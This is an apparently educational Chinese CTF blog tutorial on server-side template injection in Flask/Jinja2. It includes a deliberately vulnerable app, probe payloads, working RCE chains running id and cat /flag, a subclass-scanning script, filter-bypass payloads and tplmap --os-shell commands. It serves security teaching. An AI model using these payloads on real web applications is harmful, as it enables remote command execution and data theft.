[{"data":1,"prerenderedAt":1145},["ShallowReactive",2],{"category-data-ssti":3},[4],{"id":5,"title":6,"body":7,"description":1130,"extension":1131,"meta":1132,"navigation":42,"ogImage":1134,"path":1141,"seo":1142,"stem":1143,"__hash__":1144},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":8,"value":9,"toc":1120},"minimark",[10,15,19,79,90,93,102,108,112,132,139,195,198,210,214,221,235,240,260,263,288,292,308,310,328,338,342,415,419,424,460,469,473,481,485,491,494,510,512,530,533,549,551,569,582,590,601,608,614,617,700,706,709,715,719,731,740,752,756,762,766,772,781,785,789,838,842,885,891,895,898,973,977,987,991,996,1011,1017,1021,1036,1065,1068,1074,1078,1086,1089,1095,1099,1116],[11,12,14],"h3",{"id":13},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[16,17,18],"p",{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[20,21,26],"pre",{"className":22,"code":23,"language":24,"meta":25,"style":25},"language-python shiki shiki-themes dracula","from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n","python","",[27,28,29,37,44,50,55,61,67,73],"code",{"__ignoreMap":25},[30,31,34],"span",{"class":32,"line":33},"line",1,[30,35,36],{},"from flask import Flask, render_template\n",[30,38,40],{"class":32,"line":39},2,[30,41,43],{"emptyLinePlaceholder":42},true,"\n",[30,45,47],{"class":32,"line":46},3,[30,48,49],{},"app = Flask(__name__)\n",[30,51,53],{"class":32,"line":52},4,[30,54,43],{"emptyLinePlaceholder":42},[30,56,58],{"class":32,"line":57},5,[30,59,60],{},"@app.route(\"/\")\n",[30,62,64],{"class":32,"line":63},6,[30,65,66],{},"def index():\n",[30,68,70],{"class":32,"line":69},7,[30,71,72],{},"    name = request.args.get(\"name\", \"world\")\n",[30,74,76],{"class":32,"line":75},8,[30,77,78],{},"    return render_template(\"hello.html\", name=name)\n",[16,80,81,82,85,86,89],{},"模板文件 ",[27,83,84],{},"hello.html"," 内容是固定的 ",[27,87,88],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[16,91,92],{},"错误写法是把用户输入拼进模板字符串：",[20,94,96],{"className":22,"code":95,"language":24,"meta":25,"style":25},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[27,97,98],{"__ignoreMap":25},[30,99,100],{"class":32,"line":33},[30,101,95],{},[16,103,104,107],{},[27,105,106],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[11,109,111],{"id":110},"二环境搭建","二、环境搭建",[20,113,117],{"className":114,"code":115,"language":116,"meta":25,"style":25},"language-bash shiki shiki-themes dracula","pip install flask\n","bash",[27,118,119],{"__ignoreMap":25},[30,120,121,125,129],{"class":32,"line":33},[30,122,124],{"class":123},"sAOxA","pip",[30,126,128],{"class":127},"s-mGx"," install",[30,130,131],{"class":127}," flask\n",[16,133,134,135,138],{},"保存 ",[27,136,137],{},"app.py","：",[20,140,142],{"className":22,"code":141,"language":24,"meta":25,"style":25},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[27,143,144,149,153,157,161,165,169,173,178,184,189],{"__ignoreMap":25},[30,145,146],{"class":32,"line":33},[30,147,148],{},"from flask import Flask, request, render_template_string\n",[30,150,151],{"class":32,"line":39},[30,152,43],{"emptyLinePlaceholder":42},[30,154,155],{"class":32,"line":46},[30,156,49],{},[30,158,159],{"class":32,"line":52},[30,160,43],{"emptyLinePlaceholder":42},[30,162,163],{"class":32,"line":57},[30,164,60],{},[30,166,167],{"class":32,"line":63},[30,168,66],{},[30,170,171],{"class":32,"line":69},[30,172,72],{},[30,174,175],{"class":32,"line":75},[30,176,177],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[30,179,181],{"class":32,"line":180},9,[30,182,183],{},"    return render_template_string(html, name=name)\n",[30,185,187],{"class":32,"line":186},10,[30,188,43],{"emptyLinePlaceholder":42},[30,190,192],{"class":32,"line":191},11,[30,193,194],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[16,196,197],{},"运行：",[20,199,201],{"className":114,"code":200,"language":116,"meta":25,"style":25},"python app.py\n",[27,202,203],{"__ignoreMap":25},[30,204,205,207],{"class":32,"line":33},[30,206,24],{"class":123},[30,208,209],{"class":127}," app.py\n",[11,211,213],{"id":212},"三核心步骤-1探测","三、核心步骤 1：探测",[16,215,216,220],{},[217,218,219],"strong",{},"目的","：确认\"用户输入被当作模板代码求值\"。",[16,222,223,226,227,230,231,234],{},[217,224,225],{},"思路","：模板引擎会执行 ",[27,228,229],{},"{{ 表达式 }}","。传 ",[27,232,233],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[236,237,239],"h4",{"id":238},"_31-正常请求","3.1 正常请求",[20,241,243],{"className":114,"code":242,"language":116,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[27,244,245],{"__ignoreMap":25},[30,246,247,250,254,257],{"class":32,"line":33},[30,248,249],{"class":123},"curl",[30,251,253],{"class":252},"seVfx"," \"",[30,255,256],{"class":127},"http://127.0.0.1:5000/?name=alice",[30,258,259],{"class":252},"\"\n",[16,261,262],{},"预期输出：",[20,264,268],{"className":265,"code":266,"language":267,"meta":25,"style":25},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[27,269,270],{"__ignoreMap":25},[30,271,272,276,280,283,285],{"class":32,"line":33},[30,273,275],{"class":274},"sCdxs","\u003C",[30,277,279],{"class":278},"s0Tla","h1",[30,281,282],{"class":274},">Hello, alice!\u003C/",[30,284,279],{"class":278},[30,286,287],{"class":274},">\n",[236,289,291],{"id":290},"_32-表达式求值","3.2 表达式求值",[20,293,295],{"className":114,"code":294,"language":116,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[27,296,297],{"__ignoreMap":25},[30,298,299,301,303,306],{"class":32,"line":33},[30,300,249],{"class":123},[30,302,253],{"class":252},[30,304,305],{"class":127},"http://127.0.0.1:5000/?name={{7*7}}",[30,307,259],{"class":252},[16,309,262],{},[20,311,313],{"className":265,"code":312,"language":267,"meta":25,"style":25},"\u003Ch1>Hello, 49!\u003C/h1>\n",[27,314,315],{"__ignoreMap":25},[30,316,317,319,321,324,326],{"class":32,"line":33},[30,318,275],{"class":274},[30,320,279],{"class":278},[30,322,323],{"class":274},">Hello, 49!\u003C/",[30,325,279],{"class":278},[30,327,287],{"class":274},[16,329,330,333,334,337],{},[27,331,332],{},"7*7"," 被求值成 ",[27,335,336],{},"49","，说明模板表达式生效，SSTI 成立。",[236,339,341],{"id":340},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[343,344,345,361],"table",{},[346,347,348],"thead",{},[349,350,351,355,358],"tr",{},[352,353,354],"th",{},"引擎",[352,356,357],{},"语言",[352,359,360],{},"探测 payload",[362,363,364,377,390,402],"tbody",{},[349,365,366,370,373],{},[367,368,369],"td",{},"Jinja2 / Twig",[367,371,372],{},"Python / PHP",[367,374,375],{},[27,376,233],{},[349,378,379,382,385],{},[367,380,381],{},"Freemarker",[367,383,384],{},"Java",[367,386,387],{},[27,388,389],{},"${7*7}",[349,391,392,395,397],{},[367,393,394],{},"Velocity",[367,396,384],{},[367,398,399],{},[27,400,401],{},"#set($x=7*7)$x",[349,403,404,407,410],{},[367,405,406],{},"Smarty",[367,408,409],{},"PHP",[367,411,412],{},[27,413,414],{},"{$smarty.version}",[11,416,418],{"id":417},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[16,420,421,423],{},[217,422,219],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[16,425,426,428,429,432,433,436,437,436,440,443,444,447,448,451,452,455,456,459],{},[217,427,225],{},"：模板只能访问少量对象（如 ",[27,430,431],{},"config","）。Python 对象有 ",[27,434,435],{},"__class__","、",[27,438,439],{},"__init__",[27,441,442],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[27,445,446],{},"os"," 模块。验证方式：先执行 ",[27,449,450],{},"id","，输出 ",[27,453,454],{},"uid=..."," 即成功，再换 ",[27,457,458],{},"cat /flag","。",[16,461,462,463,465,466,468],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[27,464,431],{}," 对象，沿 Python 内部属性找到 ",[27,467,446],{}," 模块。",[236,470,472],{"id":471},"_41-分步理解","4.1 分步理解",[20,474,479],{"className":475,"code":477,"language":478,"meta":25},[476],"language-text","config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n","text",[27,480,477],{"__ignoreMap":25},[236,482,484],{"id":483},"_42-完整-payload","4.2 完整 payload",[20,486,489],{"className":487,"code":488,"language":478,"meta":25},[476],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[27,490,488],{"__ignoreMap":25},[16,492,493],{},"用 curl 发送：",[20,495,497],{"className":114,"code":496,"language":116,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[27,498,499],{"__ignoreMap":25},[30,500,501,503,505,508],{"class":32,"line":33},[30,502,249],{"class":123},[30,504,253],{"class":252},[30,506,507],{"class":127},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[30,509,259],{"class":252},[16,511,262],{},[20,513,515],{"className":265,"code":514,"language":267,"meta":25,"style":25},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[27,516,517],{"__ignoreMap":25},[30,518,519,521,523,526,528],{"class":32,"line":33},[30,520,275],{"class":274},[30,522,279],{"class":278},[30,524,525],{"class":274},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[30,527,279],{"class":278},[30,529,287],{"class":274},[16,531,532],{},"命令执行成功。读 flag：",[20,534,536],{"className":114,"code":535,"language":116,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[27,537,538],{"__ignoreMap":25},[30,539,540,542,544,547],{"class":32,"line":33},[30,541,249],{"class":123},[30,543,253],{"class":252},[30,545,546],{"class":127},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[30,548,259],{"class":252},[16,550,262],{},[20,552,554],{"className":265,"code":553,"language":267,"meta":25,"style":25},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[27,555,556],{"__ignoreMap":25},[30,557,558,560,562,565,567],{"class":32,"line":33},[30,559,275],{"class":274},[30,561,279],{"class":278},[30,563,564],{"class":274},">Hello, flag{ssti_rce}!\u003C/",[30,566,279],{"class":278},[30,568,287],{"class":274},[16,570,571,138,579,581],{},[217,572,573,574,576,577],{},"为什么先试 ",[27,575,450],{}," 再试 ",[27,578,458],{},[27,580,450],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[236,583,585,586,589],{"id":584},"_43-备选链subclasses-扫描","4.3 备选链：",[217,587,588],{},"subclasses"," 扫描",[16,591,592,594,595,597,598,459],{},[217,593,219],{},"：当 ",[27,596,431],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[27,599,600],{},"subprocess.Popen",[16,602,603,605,606,138],{},[27,604,431],{}," 链不可用时，从字符串对象出发找 ",[27,607,600],{},[20,609,612],{"className":610,"code":611,"language":478,"meta":25},[476],"''.__class__.__mro__[1].__subclasses__()\n",[27,613,611],{"__ignoreMap":25},[16,615,616],{},"先用 Python 脚本找下标：",[20,618,620],{"className":22,"code":619,"language":24,"meta":25,"style":25},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[27,621,622,627,631,636,641,646,651,656,661,666,671,676,682,688,694],{"__ignoreMap":25},[30,623,624],{"class":32,"line":33},[30,625,626],{},"import requests\n",[30,628,629],{"class":32,"line":39},[30,630,43],{"emptyLinePlaceholder":42},[30,632,633],{"class":32,"line":46},[30,634,635],{},"url = \"http://127.0.0.1:5000/\"\n",[30,637,638],{"class":32,"line":52},[30,639,640],{},"for i in range(500):\n",[30,642,643],{"class":32,"line":57},[30,644,645],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[30,647,648],{"class":32,"line":63},[30,649,650],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[30,652,653],{"class":32,"line":69},[30,654,655],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[30,657,658],{"class":32,"line":75},[30,659,660],{},"    # .__mro__[1]：继承链上的 object 类；\n",[30,662,663],{"class":32,"line":180},[30,664,665],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[30,667,668],{"class":32,"line":186},[30,669,670],{},"    # .__name__：该类的名字，会渲染到页面。\n",[30,672,673],{"class":32,"line":191},[30,674,675],{},"    r = requests.get(url, params={\"name\": payload})\n",[30,677,679],{"class":32,"line":678},12,[30,680,681],{},"    if \"Popen\" in r.text:\n",[30,683,685],{"class":32,"line":684},13,[30,686,687],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[30,689,691],{"class":32,"line":690},14,[30,692,693],{},"        print(\"Popen index:\", i)\n",[30,695,697],{"class":32,"line":696},15,[30,698,699],{},"        break\n",[16,701,262,702,705],{},[27,703,704],{},"Popen index: 258","（数字因 Python 版本而异）。",[16,707,708],{},"然后利用：",[20,710,713],{"className":711,"code":712,"language":478,"meta":25},[476],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[27,714,712],{"__ignoreMap":25},[11,716,718],{"id":717},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[16,720,721,723,724,436,727,730],{},[217,722,219],{},"：题目过滤 ",[27,725,726],{},".",[27,728,729],{},"[]","、关键词时，用等价写法表达同样的调用。",[16,732,733,735,736,739],{},[217,734,225],{},"：点号访问可以用 Jinja2 的 ",[27,737,738],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[16,741,742,743,436,745,436,748,751],{},"题目常过滤 ",[27,744,726],{},[27,746,747],{},"[",[27,749,750],{},"]"," 或关键词。",[236,753,755],{"id":754},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[20,757,760],{"className":758,"code":759,"language":478,"meta":25},[476],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[27,761,759],{"__ignoreMap":25},[236,763,765],{"id":764},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[20,767,770],{"className":768,"code":769,"language":478,"meta":25},[476],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[27,771,769],{"__ignoreMap":25},[16,773,774,775,436,777,780],{},"模板里不再出现 ",[27,776,446],{},[27,778,779],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[11,782,784],{"id":783},"六必学工具","六、必学工具",[236,786,788],{"id":787},"工具-1curl","工具 1：curl",[20,790,792],{"className":114,"code":791,"language":116,"meta":25,"style":25},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[27,793,794,810],{"__ignoreMap":25},[30,795,796,798,800,803,806],{"class":32,"line":33},[30,797,249],{"class":123},[30,799,253],{"class":252},[30,801,802],{"class":127},"http://target/?name={{7*7}}",[30,804,805],{"class":252},"\"",[30,807,809],{"class":808},"shSDL","          # 探测\n",[30,811,812,814,818,820,823,825,828,830,833,835],{"class":32,"line":39},[30,813,249],{"class":123},[30,815,817],{"class":816},"sIQBb"," -G",[30,819,253],{"class":252},[30,821,822],{"class":127},"http://target/",[30,824,805],{"class":252},[30,826,827],{"class":816}," --data-urlencode",[30,829,253],{"class":252},[30,831,832],{"class":127},"name={{...}}",[30,834,805],{"class":252},[30,836,837],{"class":808},"   # 自动 URL 编码\n",[236,839,841],{"id":840},"工具-2requests","工具 2：requests",[20,843,845],{"className":22,"code":844,"language":24,"meta":25,"style":25},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[27,846,847,851,855,860,865,870,875,880],{"__ignoreMap":25},[30,848,849],{"class":32,"line":33},[30,850,626],{},[30,852,853],{"class":32,"line":39},[30,854,43],{"emptyLinePlaceholder":42},[30,856,857],{"class":32,"line":46},[30,858,859],{},"url = \"http://target/\"\n",[30,861,862],{"class":32,"line":52},[30,863,864],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[30,866,867],{"class":32,"line":57},[30,868,869],{},"r = requests.get(url, params={\"name\": payload})\n",[30,871,872],{"class":32,"line":63},[30,873,874],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[30,876,877],{"class":32,"line":69},[30,878,879],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[30,881,882],{"class":32,"line":75},[30,883,884],{},"print(r.text)\n",[16,886,887,890],{},[27,888,889],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[236,892,894],{"id":893},"工具-3tplmap","工具 3：tplmap",[16,896,897],{},"模板注入自动化工具：",[20,899,901],{"className":114,"code":900,"language":116,"meta":25,"style":25},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[27,902,903,914,936,956],{"__ignoreMap":25},[30,904,905,908,911],{"class":32,"line":33},[30,906,907],{"class":123},"git",[30,909,910],{"class":127}," clone",[30,912,913],{"class":127}," https://github.com/epinna/tplmap\n",[30,915,916,920,923,926,928,930,933],{"class":32,"line":39},[30,917,919],{"class":918},"sLL85","cd",[30,921,922],{"class":127}," tplmap",[30,924,925],{"class":274}," && ",[30,927,124],{"class":123},[30,929,128],{"class":127},[30,931,932],{"class":816}," -r",[30,934,935],{"class":127}," requirements.txt\n",[30,937,938,940,943,946,948,951,953],{"class":32,"line":46},[30,939,24],{"class":123},[30,941,942],{"class":127}," tplmap.py",[30,944,945],{"class":816}," -u",[30,947,253],{"class":252},[30,949,950],{"class":127},"http://target/?name=*",[30,952,805],{"class":252},[30,954,955],{"class":808},"          # * 是注入点标记\n",[30,957,958,960,962,964,966,968,970],{"class":32,"line":52},[30,959,24],{"class":123},[30,961,942],{"class":127},[30,963,945],{"class":816},[30,965,253],{"class":252},[30,967,950],{"class":127},[30,969,805],{"class":252},[30,971,972],{"class":816}," --os-shell\n",[11,974,976],{"id":975},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[16,978,979,980,983,984,459],{},"题目：",[27,981,982],{},"http://target/?name="," 存在 SSTI，flag 在 ",[27,985,986],{},"/flag",[236,988,990],{"id":989},"第一步探测","第一步：探测",[16,992,993,995],{},[217,994,219],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[20,997,999],{"className":114,"code":998,"language":116,"meta":25,"style":25},"curl \"http://target/?name={{7*7}}\"\n",[27,1000,1001],{"__ignoreMap":25},[30,1002,1003,1005,1007,1009],{"class":32,"line":33},[30,1004,249],{"class":123},[30,1006,253],{"class":252},[30,1008,802],{"class":127},[30,1010,259],{"class":252},[16,1012,1013,1014,1016],{},"响应含 ",[27,1015,336],{}," → 确认。",[236,1018,1020],{"id":1019},"第二步直接打","第二步：直接打",[16,1022,1023,1025,1026,1029,1030,1032,1033,1035],{},[217,1024,225],{},"：先 ",[27,1027,1028],{},"config.__globals__"," 链试 ",[27,1031,458],{},"；如果响应没出现 flag 内容，先改用 ",[27,1034,450],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[20,1037,1039],{"className":22,"code":1038,"language":24,"meta":25,"style":25},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[27,1040,1041,1045,1049,1053,1057,1061],{"__ignoreMap":25},[30,1042,1043],{"class":32,"line":33},[30,1044,626],{},[30,1046,1047],{"class":32,"line":39},[30,1048,43],{"emptyLinePlaceholder":42},[30,1050,1051],{"class":32,"line":46},[30,1052,859],{},[30,1054,1055],{"class":32,"line":52},[30,1056,864],{},[30,1058,1059],{"class":32,"line":57},[30,1060,869],{},[30,1062,1063],{"class":32,"line":63},[30,1064,884],{},[16,1066,1067],{},"预期输出中出现：",[20,1069,1072],{"className":1070,"code":1071,"language":478,"meta":25},[476],"flag{ssti_rce}\n",[27,1073,1071],{"__ignoreMap":25},[236,1075,1077],{"id":1076},"第三步被过滤时","第三步：被过滤时",[16,1079,1080,1082,1083,1085],{},[217,1081,225],{},"：把点号换成 ",[27,1084,738],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[16,1087,1088],{},"改用 attr 与 request.args 组合：",[20,1090,1093],{"className":1091,"code":1092,"language":478,"meta":25},[476],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[27,1094,1092],{"__ignoreMap":25},[11,1096,1098],{"id":1097},"八小结","八、小结",[16,1100,1101,1102,1104,1105,1108,1109,1111,1112,1115],{},"SSTI 主线：探测 ",[27,1103,233],{}," → ",[27,1106,1107],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[27,1110,738],{},"/",[27,1113,1114],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1117,1118,1119],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":25,"searchDepth":39,"depth":39,"links":1121},[1122,1123,1124,1125,1126,1127,1128,1129],{"id":13,"depth":46,"text":14},{"id":110,"depth":46,"text":111},{"id":212,"depth":46,"text":213},{"id":417,"depth":46,"text":418},{"id":717,"depth":46,"text":718},{"id":783,"depth":46,"text":784},{"id":975,"depth":46,"text":976},{"id":1097,"depth":46,"text":1098},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。","md",{"date":1133,"image":1134,"alt":1135,"tags":1136,"published":42},"14th Aug 2026","/blogs-img/blog6.png","SSTI 深入实战",[1137,1138,1139,1140],"ctf","web","ssti","example","/blogs/ctf-web-ssti-deep-dive",{"title":6,"description":1130},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",1786796568664]